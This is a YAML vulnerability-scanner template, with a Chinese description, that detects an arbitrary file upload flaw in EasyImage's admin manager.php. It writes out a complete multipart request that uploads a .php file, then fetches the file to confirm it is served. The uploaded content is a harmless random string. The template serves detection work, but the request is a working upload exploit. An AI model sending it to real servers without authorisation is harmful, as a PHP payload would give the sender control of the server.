easyimage-download-upload: EasyImage manager.php 后台任意文件上传漏洞

id: easyimage-download-upload

info:
  name: EasyImage manager.php 后台任意文件上传漏洞
  author: zan8in
  severity: high
  verified: false
  description: |
    EasyImage manager.php 存在任意文件上传漏洞，攻击者通过漏洞可以上传恶意文件到服务器获取服务器权限
    app="EasyImage-简单图床"

set:
  randstr: randomLowercase(6)
  randbody: randomLowercase(32)
  rboundary: randomLowercase(8)
rules:
  # 需要登录
  r0:
    request:
      method: POST
      path: /admin/manager.php?p=
      headers:
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
      body: "\
        ------WebKitFormBoundary{{rboundary}}\r\n\
        Content-Disposition: form-data; name=\"dzuuid\"\r\n\
        \r\n\
        7e4fad9a-3545-4ed6-b655-b3e3a6b2978c\r\n\
        ------WebKitFormBoundary{{rboundary}}\r\n\
        Content-Disposition: form-data; name=\"dzchunkindex\"\r\n\
        \r\n\
        0\r\n\
        ------WebKitFormBoundary{{rboundary}}\r\n\
        Content-Disposition: form-data; name=\"dztotalfilesize\"\r\n\
        \r\n\
        583\r\n\
        ------WebKitFormBoundary{{rboundary}}\r\n\
        Content-Disposition: form-data; name=\"dzchunksize\"\r\n\
        \r\n\
        10000000\r\n\
        ------WebKitFormBoundary{{rboundary}}\r\n\
        Content-Disposition: form-data; name=\"dztotalchunkcount\"\r\n\
        \r\n\
        1\r\n\
        ------WebKitFormBoundary{{rboundary}}\r\n\
        Content-Disposition: form-data; name=\"dzchunkbyteoffset\"\r\n\
        \r\n\
        0\r\n\
        ------WebKitFormBoundary{{rboundary}}\r\n\
        Content-Disposition: form-data; name=\"p\"\r\n\
        \r\n\
        \r\n\
        ------WebKitFormBoundary{{rboundary}}\r\n\
        Content-Disposition: form-data; name=\"fullpath\"\r\n\
        \r\n\
        {{randstr}}.php\r\n\
        ------WebKitFormBoundary{{rboundary}}\r\n\
        Content-Disposition: form-data; name=\"file\"; filename=\"{{randstr}}.php\"\r\n\
        Content-Type: application/octet-stream\r\n\
        \r\n\
        {{randbody}}\r\n\
        \r\n\
        ------WebKitFormBoundary{{rboundary}}--"
      expression: response.status == 200
      output:
        search: '"\"fullPath\":\"(?P<filename>.+?)\"".bsubmatch(response.body)'
        filename: search["filename"]
  r1:
    request:
      method: GET
      path: /i/{{filename}}.php
    expression: response.status == 200 && response.body.bcontains(bytes(randbody))
expression: r0() && r1()